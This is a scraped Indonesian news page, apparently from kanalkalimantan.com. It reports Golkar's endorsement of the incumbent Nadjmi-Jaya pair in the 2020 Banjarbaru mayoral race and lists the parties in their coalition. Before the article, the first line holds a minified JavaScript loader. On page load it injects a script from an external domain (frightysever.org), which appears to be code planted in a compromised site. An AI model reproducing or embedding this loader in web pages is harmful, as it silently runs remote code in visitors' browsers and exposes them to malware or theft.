(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Sempat ke Lain Hati, Golkar ‘Sahkan’ Hubungan dengan Nadjmi-Jaya Lewat Rekomendasi


KANALKALIMANTAN.COM, BANJARBARU – Langkah incumbent Nadjmi Adhani-Darmawan Jaya Setiawan menatap dua periode pemerintahan lewat Pilkada Banjarbaru, semakin kencang. SK Rekomendasi DPP Partai Golkar, kini mereka genggam setelah diserahkan angsung oleh Ketua Umum Partai Golkar Airlangga Hartarto di Jakarta, Minggu (12/7/2020).

SK rekomendasi diterima pasangan Nadjmi-Jaya, bersama sejumlah calon yang diusung Partai Golkar lainnya dalam acara ‘Penyerahan Surat Keputusan Pasangan Calon Partai Golkar di Pilkada Serentak 2020’. SK rekomendasi tersebut, menjawab surat yang sebelumnya disampaikan DPD Golkar Kalsel melalui pengajuan rekomendasi No A-054/GOLKAR-KS/V1/2020 tentang Laporan Hasil Pelaksanaan Tahapan Seleksi Bakal Calon Kepala Daerah Partai Golkar di Pilkada 2020.

Sebelumnya, Golkar sempat mendukung pasangan Aditya Mufti Ariffin-AR Iwansyah. Tetapi seiring mundurnya Aditya dengan alasan kemanusiaan karena Pilkada dilaksanakan berbarengan saat Covid-19, akhirnya partai berlambng beringin itu banting setir ke pasangan incumbent.

Ketua Harian DPD Golkar Kalsel H Supian HK menegaskan bahwa DPD Golkal Kalsel akan kembali mengusulkan satu nama kandidat dan orang itu ialah Nadjmi Adhani sebagai pasangan petahana (incumbent).

Saat ini, incumbent meraih dukungan mayoritas parpol. Dalam surat pengajuan rekomendasi No A-054/GOLKAR-KS/V1/2020 tentang Laporan Hasil Pelaksanaan Tahapan Seleksi Bakal Calon Kepala Daerah Partai Golkar, disampaikan sejumlah partai yang mendukung di Pilkada. Koalisi besar pengusung Nadjmi-Jaya terdiri dari sejumlah parpol dengan perolehan sekitar 15 kursi. Terdiri dari NasDem 4 kursi, PKS 2 kursi, Golkar 5 kursi, PDIP 3 kursi dan Demokrat 1 kursi, yang mana lebih dari cukup sebagai syarat pencalonan di jalur Parpol.

Jumlah ini masih akan bertambah jika nanti akhirnya Gerindra yang memiliki 6 kursi dan PAN 2 kursi ikut bergabung.
Sebelumnya, gelombang dukungan parpol kepada incumbent, dimulai dengan pernyataan sikap Golkar dan PDI Perjuangan yang pada awalnya mendukung Aditya. Partai Demokrat juga menjatuhkan pilihan ke mereka. Hal ini dikemukakan Ketua DPC Partai Demokrat Banjarbaru, Sumedi, yang mengaku kepemimpinan Nadjmi-Jaya di kota Banjarbaru selama 5 tahun terakhir layak dilanjutkan.

“Kita mengarah dukungan ke Nadjmi-Jaya,” katanya.
Sumedi mengakui bahwa keputusan untuk mendukung Nadjmi-Jaya telah bulat, dalam pembahasan internal di DPC Partai Demokrat Banjarbaru. Meskipun begitu, tetap saja keputusan final hingga penerbitan SK merupakan ranah DPP Demokrat. (kanalkalimantan.com/tim)

 

Reporter : Tim
Editor : Cell

Desy Arfianty

Recent Posts

BRImo FSTVL 2024: Ratusan Ribu Hadiah Menanti Nasabah BRI! Nabung Lebih Banyak, Untung Lebih Besar!

KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More

1 jam ago

Proyek Jembatan Atanik Mataraman Molor, Cor Beton Belum Dikerjakan

Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More

2 jam ago

Arsip Tak Boleh Jadi Bungkus Kacang

Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More

3 jam ago

Tinggal Seorang Diri, Diana Didapati Tak Bernyawa di Kamar

KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More

4 jam ago

Kota Banjarbaru Terima Dump Truck Penghargaan Adipura 2023

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More

4 jam ago

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

18 jam ago

This website uses cookies.